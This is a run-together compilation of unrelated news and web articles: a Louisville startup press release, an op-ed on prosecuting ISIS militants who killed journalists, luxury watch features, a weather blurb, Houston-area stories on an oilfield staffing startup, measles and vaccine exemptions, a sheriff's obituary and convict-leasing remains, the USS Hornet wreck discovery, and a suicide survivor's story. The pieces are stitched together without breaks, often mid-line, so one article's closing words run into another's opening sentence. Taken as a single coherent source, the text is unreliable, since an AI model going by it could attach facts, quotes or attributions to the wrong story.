Xooker : A hyper-local mobile advertising suite of services that incorporates mobile games for local merchants and restaurants to attract, acquire, engage and reward consumers via their mobile devices. Xookers platform includes mobile coupons, deals, loyalty cards, rewards, charity fundraising and more.

Fast Companies

HANDLE : Professionalizes a fragmented, low integrity secondary market in healthcare. Whether clients need to buy or sell, HANDLE makes it easy to source supplies and equipment in one place and list any excess product or end-of-life equipment that are ready to be sold. An easy-to-use marketplace, a mobile tool, a personalized dashboard with matching algorithm based on purchasing history and dedicated buyers saves their clients both time and money.

HMS Global Maritime : Founded and managed by maritime professionals, HMS Global Maritime is one of the industrys premiere passenger vessel and marine management firms, known and respected for its safe vessel operations, excellent customer service, financial profitability of its clients ventures and uncompromising business ethics based on personal relationships.

Rabbit Hole Spirits : A Kentucky-based bourbon and whiskey distiller inspired by modern approaches to whiskey making. They offer guided tours and tastings in a contemporary, industrial-chic facility.

Schedule It : Specializes in automating routing, mapping, scheduling, and file note completion for any property insurance adjuster, including those working for insurers, independent adjusting (IA) firms, and independently. The Schedule It Pro (SIP) automated scheduling solution, optimizes routing to ensure maximum productivity for highly-motivated, competitive adjusters, and speeds claim resolution time for affected policyholders.

Venminder : The market leader in third party risk management solutions reducing the workload essential to meeting todays demanding regulatory requirements. Their software organizes all things vendor-related and guides users through contract management, risk assessments, due diligence requirements, questionnaires and more. They also assess cybersecurity, information security, business continuity/disaster recovery and financial health.

Wicked Sheets : Offers moisture wicking and cooling sheets through their comfort sleep solutions for night sweats and hot flashes. Free of dyes, bleaching agents, and chemicals that can cause skin irritation, their advanced fabrics are hypoallergenic and have been independently tested and certified free of harmful substances. Sleep wicked!

About Schedule It

Schedule It is a technology provider specializing in automating routing, mapping, scheduling, and file note completion for any property insurance adjuster, including those working for insurers, independent adjusting (IA) firms, and independently. The Schedule It Pro (SIP) automated scheduling solution reduces calls to insurance carrier call centers, optimizes routing to ensure maximum productivity for highly-motivated, competitive adjusters, and speeds claim resolution time for affected policyholders. Schedule It helps insurers close claims faster and reduce loss adjustment expenses (LAE), and adjusters spend less time scheduling and more time adjusting claims. Learn more at www.scheduleit.io or by calling (515) 442-5246.

About EnterpriseCorp

EnterpriseCorp is the entrepreneurial arm of Greater Louisville Inc. (GLI)  the regions leading economic development organization. As an entrepreneurial support organization, EnterpriseCorp assists entrepreneurs with business assessment, customer discovery, capital access, talent acquisition, space selection, strategic introductions and peer-to-peer networking. We support the culture of the community through educational series and recognition events. We collect data and convene leaders to prepare the Louisville region for the next generation of innovators. For more information, visit www.EnterpriseCorp.com .

About Greater Louisville Inc.

Greater Louisville Inc.  the Metro Chamber of Commerce is where regional business leaders come together to accelerate business competitiveness, economic growth and job creation in the Greater Louisville region. The regions largest business leadership organization, GLI leads economic and global outreach strategies focused on business attraction; nurtures the entrepreneurial eco-system and fast growth companies; and champions the development of the communitys talent base. As the voice of the business community, GLI advocates for a pro-business environment and facilitates business leadership engagement on issues that impact regional competitiveness. For more information, visit www.GreaterLouisville.com .When a US federal court held the Syrian government responsible for the 2012 murder of journalist Marie Colvin and awarded her family $300 million in damages, it was a giant step toward justice. It was also something exceedingly rare: nearly 90 percent of all journalists murders are carried out with complete impunity, according to research by the Committee to Protect Journalists.

That is why it is vital to take advantage of another, perhaps fleeting opportunity to achieve justice in one the most notorious media crimes in recent history: the 2014 murders of James Foley and Steven Sotloff by Islamic State militants in Syria. The same group also murdered US and British aid workers and volunteers while freeing European hostages in exchange for millions of dollars in ransom.

ICYMI: Teenage journalists memorialize hundreds of gun-violence victims

The alleged leader of the group, Mohammed Emwazi, was killed in a US airstrike in 2015. Another, Aine Davis, was arrested in Turkey and convicted on terrorism charges. He is currently in prison serving a seven and a half year sentence. The final two, Alexanda Kotey and El Shafee Elsheikh, were captured by US-backed Kurdish forces last year and are being held in northern Syria. The families of the victimsincluding Diane Foley, the mother of James Foleyhave called for Kotey and Elsheikh to be brought to the US and put on trial for their brutal crimes.

But there are complications.

Through intercepts and other intelligence efforts, British authorities have compiled compelling evidence that Kotey and Elsheikh were involved in a range of crimes, including dozens of murders. Interceptsfor example, information gathered through intelligence operationsare not admissible in British courts, and so British prosecutors concluded they had insufficient evidence to bring charges. But such evidence may be admissible under US law, making the United States the preferred legal venue.

Sign up for CJR 's daily email

There has been a fierce debate in UK policy circles, as well as legal wrangling in the courts, about whether that nation can legally share the evidence it has collected because of the possibility that the suspects could receive the death penalty. (The UK seeks the global abolition of the death penalty.) Former Attorney General Jeff Sessions offered no assurances that prosecutors would not seek a death sentence, and even told a Senate panel in April 2018 that the lack of British cooperation in the case increased the chances that the suspects would be sent off to Guantanamo as prisoners of war.

In the interest of justice, the US government should find a way to address these concerns, offering assurances that they will not seek the death penalty. It should do so not so much to appease the British, but in deference to the friends and family members of Foley and Sotloff who want to see Kotey and Elsheikh tried in civilian court. The families of both journalists believe that a death sentence would fulfill the stated desire of the militants to become martyrs. Sending them to Guantanamo would be worse, as it would provide a perverse justification to the jihadi militants who forced their hostages to wear orange jumpsuits.

William Barr, once confirmed as Attorney General, can break this impasse. He should act quickly: President Trumps announced withdrawal of US forces from Syria, if carried out, would make it more difficult for Kurdish forces to continue to detain the ISIS militants. Because the security situation in northern Syria remains volatile, Diane Foley says she is anxious to bring Kotey and Elshikh to the US as soon as possible so that they can be indicted and put on trial. Hopefully, they will implicate others, Foley says.

Unquestionably, prosecuting the killers of James Foley and Steven Sotloff would be complex. But no more so than the prosecution of Sinaloa cartel leader Joaquin El Chapo Guzman, who was convicted yesterday on all charges. A trial of ISIS militants could have a similar effect, demystifying the organizations and stripping Kotey and Elsheik of the ideological and religious justifications for their heinous crimes.

In researching my recent book on hostages, I spoke with a leading expert on counterterrorism, Brian Jenkins of the RAND Corporation, who noted that a refusal to pay ransom or negotiate when Americans are kidnapped or taken hostage (the so-called no-concession policy) does not reduce the threat of future kidnappings, according to research.

The most powerful determinant of whether or not there will be further kidnapping is not the policy of the government, but the fate of the kidnappers and their organization, Jenkins told me. If kidnappers are apprehended and appropriately punishedif kidnapping gangs, or urban guerrilla groups, or terrorist organizations that engage in kidnapping are destroyedkidnapping will decline. If this is not done, then it doesnt make a difference what the policy is. In other words, if the US government wants to reduce the risk of future kidnappings, the most important action it can take is to put Kotey and Elsheikh on trial and ensure they are duly punished.

Read: In the Fyre Festival documentaries, who is being scammed?

Has America ever needed a media watchdog more than now? Help us by joining CJR today

Joel Simon is the executive director of the Committee to Protect Journalists, and the author of We Want to Negotiate: The Secret World of Kidnapping, Hostages and Ransom.Watchmakers dont often detail production processes, especially those regarded as proprietary. Thats often unfounded paranoia, since there are only so many ways to produce a watch (or a hairspring or a balance wheel).

So Glashutte Originals latest bit of news is refreshingly enlightening and original. It details, step by step, the production of the unusual and striking dials found in the retro Sixties watches that are modelled on watches produced in the former East Germany. While the dial-making process is not unique, the stamped pattern on the Sixties dial is uncommon. Originally available as a limited edition in a variety of finishes, the Sixties is now offered with a brilliant green dial decorated with a radial pattern that evokes water droplets. And this is how its made.

The birth of Glashutte Originals dial-making prowess happened in 2006, when its parent company Swatch Group acquired Th. Muller, a dial factory located in Pforzheim, the historic centre of the German jewellery and clock industry. The Scheufele family that now owns Chopard, for instance, were originally jewellers from Pforzheim, which sits just the north of the Black Forest.

Established in 1922, Th. Muller was once the biggest supplier of dials to VEB Glashutter Uhrenbetriebe (GUB), the state-owned watch factory in East Germany that was the predecessor of Glashutte Original. Renamed Deutsche Zifferblatt Manufaktur, the Th. Muller factory was relocated, expanded and upgraded by the Swatch Group, and now supplies dials to several luxury watch brands, including for much of Glashutte Originals output.

Retro reprint

The process starts with a ribbon of German silver, an alloy of mostly copper with a bit of nickel and zinc thats strong, corrosion-resistant and easy to machine. Of course the best known use of German silver, also known as maillechort or nickel silver, is for the bridges and base plate in the movements of high-end watches, most notably those of Glashutte Originals neighbour, A. Lange & Sohne.

A smooth round disc is stamped out from the German silver strip, forming the dial blank. Then the dial pattern is stamped with a 60-tonne press dating from the 1960s. In fact, the pattern stamping is done by the same machine that decorated the dials Th. Muller supplied to GUB before the Berlin Wall fell, explaining why the modern day Sixties dial looks so convincingly retro.

Next the blank has the excess around the edge trimmed off, and a hole is drilled in its centre for the cannon pinion that holds the hands. Then it undergoes a second pressing operation that gives the dial its domed shape, just like on the 1960s originals.

The domed dial on the vintage originals was to allow the movement to fit in a slimmer case, as the movements used then were quite small, some of the movement height could be accommodated by the dial.

The dial, which is just 0.5mm thick, is then galvanised, given a layer of zinc plating that protects it against corrosion and oxidation. Its then covered in several layers of green lacquer, followed by an artful application of black lacquer that results in its graduated colour that goes from bright green in the centre to black at its edges. The final step is a trip to the oven to set the lacquer and make the finish permanent.

Eight hour markers are then cut from the dial surface with a milling machine, giving the dial its distinctive recesses for the indices in-between the quarters. Because material is cut out from the dial for the indices, it reveals the metal of the German silver below.

The Arabic numerals for the hour markers at the quarters, as well as the minute track, logo and assorted text on the dial is then applied via pad printing. A printing pad made of silicone picks up the artwork in ink and then prints it onto the dial.

And the last step is the application of glow-in-the-dark Super-Luminova  a small syringe is used to deposit a tiny sphere of Super-Luminova for each hour marker. The small process is also used to fill the hour and minute hands with lume.

While the process above documents dial-making for last years Sixties Annual Edition in green, subsequent annual editions will feature dials produced in a similar manner, which should promise similar vintage flair.

All photos courtesy Glashutte OriginalFlorida, FL (34429)

Today

Partly cloudy early followed by scattered thunderstorms this afternoon. High near 85F. Winds ENE at 5 to 10 mph. Chance of rain 60%..

Tonight

Isolated thunderstorms early, then mainly cloudy after midnight. Low around 70F. Winds ENE at 5 to 10 mph. Chance of rain 30%.Austin-based RigUp, a platform for hiring contract labor in the energy sector, is on a list of 50 private companies that could become technology startups worth $1 billion -- also known as unicorns.

It is the only Texas company on the list created for the New York Times by CB Insights, a firm that tracks venture capital and start-ups. The other U.S. firms are largely based in or near the tech hubs of San Francisco, New York City and Boston, though there are startups in Seattle, Atlanta and Leawood, Kan.

And 17 startups are headquartered abroad, including five in India, four in China and three in Latin America.

On HoustonChronicle.com: Venture fills gaps in connecting Houston's tech startups and big energy players

RigUp is among a new wave of potential unicorns focusing on industry-specific software, according to the New York Times. And the energy sector was in need of a refresh, RigUp CEO Xuan Yong told the Houston Chronicle.

"The team here is building an incredible product for an industry that is demanding better technology and better ways of doing business," he said.

RigUp connects exploration and production companies and oilfield service companies with contract workers, ranging from highly specialized workers to more general labor needed to extract crude oil from the ground.

It vets the contract workers with drug tests, criminal background checks and industry-specific job training certification checks. A pre-qualified contract oilfield worker can get on the RigUp app, search for a job and often find work within a matter of days.

"We can get the workers on location faster," Yong said.

The system is designed to replace the word-of-mouth and small brick-and-mortar staffing firms that energy companies have long relied on. There are perks for the contractors, too, like getting paid via direct deposit rather than standing in line for a check.

More energy investments: BP Ventures invests $5M into Houston startup's artificial intelligence technology

About 250 corporations and 22,000 workers have signed up with RigUp. The Austin company was founded in the summer of 2014 and now has roughly 200 employees, including a handful in Houston. In January, it announced raising a $60 million Series C funding round. The raise was led by San Francisco-based venture capital firm Founders Fund.

Yong, who grew up in Spring, left his energy investor job in New York City to start RigUp. He chose Austin because of its central location to Texas' major cities and the oil fields in West Texas.

"The centrality of Austin combined with a larger technology ecosystem made it a great place to start the business," he said.Amid a Gulf Coast cluster of measles and multiple flu-caused school closures around the state, Houston public health leaders on Wednesday sounded the alarm about the risk posed by the state's growing numbers of parents opting not to vaccinate their children.

At a news conference, the leaders noted that many of such unvaccinated children cluster in the same geographic areas where the state is seeing outbreaks of vaccine-preventable diseases. The numbers have grown to the tens of thousands since the non-medical "reasons of conscience" exemption went into effect early in the millennium.

MORE: La Porte student suspected of having measles

"The Texas Legislature has to have the political courage to admit that they were duped by anti-vaxxers into creating dangerous loopholes in state public vaccine laws," said Allison Winnike, president of the Immunization Partnership, a Houston-based advocacy group. "Reach out to legislators to tell them to take the steps needed to keep our families and our communities protected."

Dr. Peter Hotez, a Houston infectious disease specialist who has waged a campaign against the exemption, called the matter "an epic struggle." He said, "we're defending the fundamental rights of children to be protected against deadly infections through vaccination versus the status quo in which children are now denied access to vaccines because of misinformation and phony slogans like 'medical freedom.'"

The news conference followed a week in which seven cases of measles were confirmed in Texas three in Harris County, one in Montgomery County, one in Galveston County and two in other parts of the state. A sixth possible local case  a pre-K student at La Porte Elementary  is being investigated, officials announced Tuesday.

EXPLAINER: Measles is the preventable disease

In addition, at least nine schools across Texas this month have closed for one or more days due to outbreaks of the flu.

In Texas, children are required to have certain sets of vaccinations before they can be enrolled in public school  including the vaccine for measles. Until 2003, the only exception was a medical condition.

But that year, the Texas Legislature allowed parents to choose not to have their child vaccinated for "reasons of conscience." It does not define what constitutes a "reason of conscience," meaning that any parent, for any reason, can decide not to immunize their children.

Since 2003, the number of Texas schoolchildren not vaccinated because of the exemption has skyrocketed from about 2,300 in 2004 to nearly 57,000 Texas schoolchildren in 2018, according to the latest statistics.

The officials said the recent outbreaks of measles, a highly contagious disease thought to be virtually eliminated in the U.S. until recently, are no coincidence. There was only one confirmed case of measles throughout Texas in each of 2015, 2016 and 2017, then nine in 2018 before this year's seven a less than 1 1/2 months into 2019.

A number of vaccination bills have been filed in the Legislature, though none that would strike down the non-medical exemption and at least one that would further loosen the process.

That bill would require the state health department make the opt-out form available not just on its website but in schools. It also would prohibit the state health department from collecting the number of exemptions filed and not require data be reported to the legislature.

A pro-vaccine bill would require a biennial report on any outbreaks of vaccine-preventable diseases and allow parents to view data about exemption numbers for each school. Current law only makes such information publicly accessible at the district level.

Eliminating the non-medical exemption is considered a non-starter in the current Texas Legislature, but Winnike suggested a groundswell movement could change that.

"The public is starting to demand change," said Winnike. "More and more people are telling us they're sick and tired of their communities getting sick. They don't want to keep paying the price of the Legislature relaxing the law."

Jay R. Jordan covers breaking news in the Houston area. Read him on our breaking news site, Chron.com, and our subscriber site, HoustonChronicle.com | Follow him on Twitter at @JayRJordan | Email him at jay.jordan@chron.com | Text CHRON to 77453 to receive breaking news alerts by text messageThe Prestige HMS was Romain Gauthiers second wristwatch, but more importantly, its part of his first generation of designs, which had a more classical look as well as a back winder crown (as compared to the newer Insight Micro-Rotor or Logical One, for instance). Now the Prestige HMS has been facelifted with a meteorite dial and steel case, giving it a fresh appearance, while retaining the highly regarded and finely finished movement.

The new Prestige has a lighter, more modern look, helped by the pale grey tones and larger steel case. Its appeal is further boosted by the fact that its the first serially produced Romain Gauthier wristwatch in stainless steel, making it more affordable than equivalents in gold or platinum.

In essence, the new Prestige is an attractive middle ground between the earliest Romain Gauthier watches, which are more traditonal, and the very latest, which are sporty and contemporary.

The lineage

First introduced in 2012 with a guilloche dial and precious metal cases (titanium came slightly later), the Prestige HMS is a three-hand, time-only watch. HMS is short for hours, minutes and seconds; Romain Gauthiers first model from 2006 was merely HM. Though functionally simple, the Prestige HMS, much like the rest of Romain Gauthiers timepieces, is intrinsically complex in construction and finish.

The movement in Prestige models is characterised by the uncommon crown that sits flat on the case back, known as a back wind. Occasionally found on vintage watches, especially small ladys timepieces, the back winder crown is meant to give the case an uninterrupted silhouette while allowing the wearer to wind the watch while its on the wrist. On the wrist, the watch feels no different from one with a conventional crown, because the back wind crown is almost flush with the case back.

In practice, however, the crown setup is inconvenient because of its flatness, which makes for a poor grip. A swivelling tab would make winding easier, but the new Prestige HMS keeps the flat, serrated crown.

The watch is quite a bit larger than the original Prestige watches, with the case measuring 43mm in diameter and 12.1mm in height. The case middle is brushed, while the bezel is polished. Together the larger size and contrasting surfaces give the watch a decidedly more modern look when compared to the earlier Prestige watches.

An otherworldly dial

The dial is made of a thin slice of meteorite that was discovered in 1931 at the Henbury crater field in the vast and desolate Northern Territory of Australia. Now a conservation area, the crater field contains just over a dozen craters from meteorite strikes that occurred over 4700 years ago. The dials of the Prestige HMS are the only samples of Henbury meteorite outside the South Australian Museum in Adelaide.

Like most other meteorite used for watch dials, the cosmic rock here is an octahedrite, or iron meteorite. Such meteorites are composed of over 90% iron, with the rest being nickel and small amounts of other heavy metals. A mottled grey in its natural state, meteorite is typically sliced into thin pieces and then chemically etched to accentuate the fabulously complex Widmanstatten pattern that comes from the iron and nickel crystals inside.

Each ribbon-like crystal is slightly different in composition and is weakly bonded to another, which creates a fragility that makes meteorite a nightmare to work with. Regular milling machines simply do not cut it (no pun intended), so instead the dial is made in two steps.

First with electrical discharge machining to cut out the shape, and then a three-axe CNC mill for the details like the holes for the feet of the hour markers, creating a dial that is just 0.8mm high. The dial is then coated with a corrosion-resistant lacquer to prevent the iron and nickel inside the meteorite from oxidising.

The Henbury meteorites are medium octahedrites, classified according to the fineness of the metal crystal layers inside. Consequently, the Prestige HMS dial has wider bands in its Widmanstatten pattern, resembling bold brushstrokes. In contrast, the meteorite dials found on other watches like the Omega Speedmaster Grey Side of the Moon or Jaeger-LeCoultre Master Calendar have narrower, more defined bands as they are typically obtained from the more common Gibeon meteorites of Namibia, a finer octahedrite.

The hour markers are solid gold while the hands will be blackened steel (the watch pictured has prototype hands), both filled with Super-Luminova for night-time visibility. And the hands have their tips covered in Super-Luminova, giving the watch a high degree of legibility.

Florid mechanics

Inside the watch is the same calibre 2206 found in the earlier Prestige watches, the movement that first made collectors take notice of Romain Gauthier. Its hand-wound with a 60-hour power reserve.

The movement is indeed stunning, with fluid contours of the bridges that flow in synchrony with the gears. The volume of the bridges has also been minimised to reveal as much of the moving parts as possible. That means not only the wheel train and regulator are visible The barrel bridge has a sharply defined cut-out that offers a glimpse of the barrel and winding click, while three short finger-bridges hold the first, escape and balance wheels.

Amongst its many features, the cal. 2206 has a free-sprung, adjustable mass balance of Romain Gauthiers own design, featuring gently curved arms. The pallet fork is also proprietary, being triangular in form for maximum rigidity that promises more stable operation.

As with all of Romain Gauthiers movements, the appeal of the cal. 2206 lies not only in the complex forms of the bridges, but also the unusual detailing that gives the movement a subtle yet distinctive identity.

All of the going train wheels, for instance, feature circular spokes that bring to mind flower petals, while all screws have an S-shaped slot. All that is made possible by Romain Gauthiers well-equipped production facility that also supplies other brands, including Chanel for its high-end Monsieur watch.

While the construction of the movement is the same, it is finished differently here. The bridges and main plate both have a black finish, which makes the finely executed decoration less obvious. The bridges have straight graining on their top surfaces along with polished, rounded bevels, while the base plate has a hand-frosted finish.

Price and Availability

The Prestige HMS Stainless Steel is a 10-piece limited edition priced at SFr68,000 before taxes.Joe Max Taylor, an iconic law enforcement official and political stalwart, who served as Galveston County sheriff for 19 years, died Monday at his home in Galveston. He was 86.

During his tenure as Galveston County sheriff from 1981 through 2000, Taylor was credited with transforming and modernizing the department, from major expansions like establishing a mental health response unit and beach patrol, to mundane details like the style of uniforms and patrol cars. His impact was celebrated with the 2006 unveiling of a law enforcement center in Galveston bearing his name.

Former colleagues hailed Taylor as a first-class leader and dedicated husband and father, and fiercely loyal to his employees, no matter their rank or title.

Current Sheriff Henry Trochesset called Taylor a second father and the heart of the department. Taylor hired Trochesset at 19, instilling in him a work ethic and discipline that helped him climb the ladder and eventually claim his mentors job. After Trochesset was elected sheriff in 2012, Taylor swore him into office.

He saw something in me that Im not sure I saw in myself, Trochesset said.

Taylor was born in Tyler on Nov. 5, 1932, during the height of the Great Depression. After attending Rusk High School, Taylor joined the Air Force during the Korean War. He was stationed in Alaska, where he worked as an administrative assistant at a hospital, honing skills such as typing that would help boost his rise in law enforcement.

When he moved to Galveston after the Air Force and joined the sheriffs office in 1957, Taylors talents helped professionalize and organize the relatively small department. When Sheriff J.B. Klines health began to decline during the 1970s, Taylor was named undersheriff and essentially ran the day-to-day operations of the department. He was elected sheriff in 1980.

Taylor is credited with instituting a chain of command structure in the department that carries over to this day. He established a mental health response unit, one of the first of its kind in the state, and expanded the sheriffs office from a small, insular department to a collaborative agency with a diverse array of specialized units.

He transformed the sheriffs office, took them from old school cops to a more modern entity, said Galveston Mayor Jim Yarbrough. He created programs and joint partnerships, narcotics task force, crime task force, auto crimes task forces, all those types of programs.

A lifelong Democrat who regularly triumphed in local elections, Taylor was known as a political power broker but hardly an ideologue. He had powerful friends on the other side of the aisle, including former U.S. Sen. Kay Bailey Hutchison.

In his later life, Taylor served on the board of directors for both the American National Insurance Co. and Landrys Inc., the latter owned by Galveston native and current Houston Rockets CEO Tilman Fertitta.

It is sad when we lose a great, passionate Galvestonian who devoted his life to law enforcement but especially hard when it is a special friend, Fertitta said in a statement to the Houston Chronicle. Joe Max was always loyal and supportive and served actively on my Board of Directors for 18 years while Landrys was a publicly traded company.

Taylor is survived by his wife of 63 years, Anita, and four children, Joe Max Jr., Melanie, Troy, and Missy. He had 10 grandchildren and seven great-grandchildren.

There will be a Rosary and brief memorial service for Taylor on Feb. 18 at the Galveston Convention Center. A viewing will be held for law enforcement personnel at the Joe Max Taylor Law Enforcement Center in Galveston on Feb. 19, followed by a funeral and reception at the convention center.RICHMOND  Applause rang through the courthouse Tuesday as Fort Bend commissioners voted unanimously to authorize the county attorney to negotiate an agreement with the Fort Bend Independent School District that could lead to a memorial and cemetery honoring 95 African-American remains.

I believe these people were not served justice, said County Judge KP George, who was elected in November. As a civilized society, I believe we have an obligation to serve some kind of justice to these people. We dont even know them, but they were here. They were the citizens of Fort Bend County.

After commissioners came out of closed session, Precinct 4 Commissioner Ken DeMerchant moved for commissioners to vote on the negotiation of the agreement, noting the possible deal could allow the county to construct and maintain a memorial park and cemetery at the school district construction site where the remains were discovered last year.

'HUMAN LIVES WERE NOT OF VALUE': African-American remains awaken history of convict-leasing system, according to HoustonChronicle.com report

George said he was looking forward to what kind of agreement they could hammer out with the school district concerning the remains, but acknowledged it was too early to tell.

We shouldnt be having a discussion like this to begin with, said George. This shouldve been taken care of a long time ago. To me, Im glad we came this far.

In a statement from Jason Burdine, FBISD board president, said the district applauded the action taken by commissioners court.

We are optimistic that an agreement will lead to the preservation of the historic cemetery, while allowing Fort Bend ISD to provide our students with opportunities for career exploration and development at the James Reese Career and Technical Center, Burdine stated.

The district announced last April the discovery of human remains at the site of the school district's James Reese Career and Technical Center. The 95 remains are believed to be former prisoners who were part of the convict-leasing system, through which inmates were contracted out to perform cheap labor across the state.

The unanimous vote on Tuesday also comes as elected officials in the county sent a letter last week urging school board officials to keep the human remains at the site and halt construction. DeMerchant organized the meeting among elected officials, including District Attorney Brian Middleton and George, which ultimately led to the letter being sent to school officials.

The school district filed a petition in November to move the remains to the nearby Old Imperial Farm Cemetery. State District Judge James H. Shoemake appointed attorney Michael W. Elliott to work with interested parties to find a solution, but the school district filed an objection to his appointment.

The district has since asked an appeals court for permission to move the remains and remove Elliott from the case.

During a meeting last week, members of the Fort Bend Historical Commission also voted unanimously to request permission from commissioners court to intervene in the lawsuit the school district filed concerning the human remains.

During public comment before the historical commission meeting held on Feb. 6, several community members spoke on behalf of the human remains and discussed their historical significance.

"When we talk about the future and you talk about covering up this site with a building, you ignore the importance of this discovery," said Samuel Collins, a community activist and Galveston County Historical Commissioner, who has actively spoken out about keeping the remains at the construction site. "This discovery is of national significance. "

Liz Peterson, a member of the Convict Leasing and Labor Project, an organization that has advocated for the recognition of the 95 remains, delivered signatures of more than 200 historians who have acknowledged the historical significance of the discovery.

"It is certainly possible to protect this historic treasure," said Peterson. "It may cost money, but that is not an insurmountable obstacle in a generous and prosperous community like Sugar Land and Fort Bend County."

HOW IT BEGAN: Fort Bend ISD finds historic cemetery near construction site

Michelle Morris, an attorney for the school district, said she wanted others to know that Fort Bend ISD did not have prior knowledge about remains being at the construction site. She said she was going to leave title records related to the property at the meeting, noting in the records theres not one mention of a cemetery.

"I know there are some difficult decisions to be made, but it needs to be made with the correct information that Fort Bend Independent School District has been trying to be part of the solution. Maybe, not everybody agrees," said Morris. "It did not create this problem. It did not ignore this problem. It did not cover up this problem."

The technical center where the remains were discovered is scheduled to open this fall. The school district has said that it would cost an additional $18 million to change course on the project, and they've already spent nearly $5 million since the discovery.

As the commissioners court meeting came to a close, Reginald Moore, a community activist who has spent years calling attention to the convict-leasing system in Fort Bend County, said he was grateful for the vote which was celebrated by several audience members.

I never thought this day would come, said Moore. I think its a major step forward in the right direction for a long lasting legacy thats well overdue for them.

brooke.lewis@chron.comToday we received incredible news from the late Paul G. Allens deep ocean research vessel R/V Petrel that the research team aboard has located and documented the long-lost wreck of the WWII aircraft carrier U.S.S. Hornet (CV 8). This breathtaking news comes just under a year after the same organization located another historic Battle of Midway aircraft carrier, CV 2 U.S.S. Lexington (which we covered in great detail both here online and in print with Warbird Digest Issue #78). Haunting images have been emerging from almost 18,000 feet down in the South Pacific which show peaceful scenes on the ocean floor defying the carnage inflicted on the day of her sinking seventy seven years ago during the Battle of Santa Cruz Islands. While the news is still filtering in, we thought we would share the official report coming from the late Paul G. Allens official website.

Final Resting Place of USS Hornet CV-8 Located in the South Pacific

Ship Launched Doolittle Raid, Helped Win the Battle of Midway

Discovery Made by Expedition Team aboard Paul G. Allens R/V Petrel

Seattle, WA, February 12, 2019  Wreckage of the World War II aircraft carrier USS Hornet was discovered in late January 2019 by the expedition crew of Paul G. Allens Research Vessel (R/V) Petrel. Hornet was found 5,400 meters (nearly 17,500 feet) below the surface, resting on the floor of the South Pacific Ocean around the Solomon Islands.

Hornet was best known for its part in the fateful Doolittle Raid that was launched in April of 1942, which was the first air-borne attack of Japanese homeland targets including Tokyo. Led by U.S. Army Lt. Col. James Doolittle, all the 16 B-25 planes that were launched from Hornet were unable to land at their designated airstrip in China, but the raid provided a boost to American morale and put Japan on alert about our covert air capabilities.

In June, Hornet was one of three American carriers that surprised and sunk four Japanese carriers at Midway, turning the tide of war in the Pacific.

The ship was sunk during the exceptionally vicious Battle of Santa Cruz Island that started on October 25, 1942. Hornet proved an especially determined ship over the next 24 hours. Enduring a relentless, coordinated attack by Japanese dive-bombers and torpedo planes, her crew was ultimately forced to abandon ship due to damage and resulting fires. She then defied American efforts to scuttle her with 16 torpedoes and 369 rounds of 5 shells. When Japanese forces approached shortly thereafter and fired four torpedoes from two Japanese destroyers late in the evening on October 26, Hornet finally succumbed and slipped beneath the surface. She lost 111 sailors from her crew of nearly 2,200.

With the loss of Hornet and serious damage to Enterprise, the Battle of Santa Cruz was a Japanese victory, but at an extremely high cost, said Rear Admiral (Ret.) Samuel Cox, director of Naval History and Heritage Command. About half the Japanese aircraft engaged were shot down by greatly improved U.S. Navy anti-aircraft defenses. As a result, the Japanese carriers did not engage again in battle for almost another two years.

The discovery of Hornet was made during R/V Petrels first mission of 2019 after relocating from the Philippine Sea to the Solomon Islands to spend winter months in this arena. Operating out of Guadalcanal, the area is rich in history and prominence in terms of naval engagements.

We had Hornet on our list of WWII warships that we wanted to locate because of its place in history as an aircraft carrier that saw many pivotal moments in naval battles, said Robert Kraft, director of subsea operations for Vulcan. Paul Allen was particularly interested in historically significant and capital ships, so this mission and discovery honor his legacy.

The 10-person expedition team on the 250-foot R/V Petrel was able to locate Hornets position by piecing together data from national and naval archives that included official deck logs and action reports from other ships engaged in the battle. Positions and sightings from nine other U.S. warships in the area were plotted on a chart to generate the starting point for the search grid. In the case of Hornet, she was discovered on the first dive mission of Petrels autonomous underwater vehicle and confirmed by video footage from the remotely operated vehicle, both pieces of equipment rated to dive down to 6,000 meters.

You can watch the hunt for the Hornet in this two part special on CBS and dive deeper into R/V Petrels discoveries and projects here.

Many thanks indeed to the Flying Heritage & Combat Armor Museums Michelle Donoghue for her tremendous help in publishing this article, especially in gathering the images and authorizing their publication. And bravo to the crew of the R/V Petrel for all they do, and to the late Paul G. Allen in having the foresight to fund and execute these important historical missions. Editors Note: The Villager is continuing to follow the story about the rising rates of suicides and attempted suicides in The Woodlands and surrounding areas. Our coverage includes occasional articles focused on raising awareness of the issue and seeking solutions to this community problem. We are interested in hearing about any events, education or inspiring tales to help illustrate this issue for readers.

More than 10 years ago, Angie Barnes was having a rough couple of months to say the least. But, she said she lost it when she attempted to commit suicide at her home near The Woodlands.

Ive always been a happy, positive personbut I really shut down, Barnes said.

After having thyroid surgery in which the doctors accidentally removed her parathyroid glands that control a persons calcium levels, Barnes went into respiratory and cardiac arrest. She spent about a month in the hospitals intensive care unit, but the doctors couldnt figure out what was wrong.

So, they loaded me up on a bunch of medication and sent me home, Barnes said.

A few months later, her pregnant dog was hit by a car, and Barnes had to deal with the aftermath of that situation. Her and her husband decided that it was best for their children to live with their grandparents for a little bit while Barnes recovered.

The intense medication, coupled with her dogs tragic death, led Barnes to begin isolating herself from her family and friends. One day, Barnes said she had it in her head that her husband wasnt going to come back home.

There was no planning, no thought. I was just thinking that my kids would be better off without me, Barnes said.

So, in July of 2007, she went into her garage and took more than 500 pills. She called her best friend to tell her that she loved her and laid down in a thermal blanket. When her husband came home later that day, he found her swollen and unconscious.

Her husband took her to the hospital, where they immediately pumped her stomach, but Barnes said she was in a coma for a week.

I woke up and there was nothing wrong with me. I realized that God had taken it all away to give me a new start, Barnes said. I took that much medicine and I tried to take my life, but Im still here. If Gods not ready for you, then youre not going anywhere.

Barnes experience with suicide was somewhat out of the blue, as she said she hadnt struggled with suicidal thoughts before. Now, though, she focuses on telling her story to help others  because she knows the life that she would have missed if her attempt had been successful.

Although not everyone has a story like Barnes, community members may know someone who has had similar struggles. Suicide awareness and prevention is a rising issue in The Woodlands.

As previously reported by The Villager, there were 115 suicides or attempted suicides in the community last year, which is an almost 50 percent increase from the 80 suicides or attempted suicides in 2017. According to Precinct 1 Justice of the Peace Wayne Mack, the Montgomery County suicide rate has increased by 80 percent since 2011.

Related: Rise in suicides in The Woodlands attributed to several factors, local expert explains

Thats why area nonprofits, such as CareFORCE and Cassidy Joined for Hope are working to train both law enforcement personnel and students how to recognize suicidal tendencies in their peers and intervene appropriately.

That is exactly what is needed in this community, Barnes said.

I feel like if your loved one is in that spot and struggling, you dont back down, Barnes said, adding that awareness is one of the most important pieces in solving this issue across the community.

Thats why shes open about her own story.

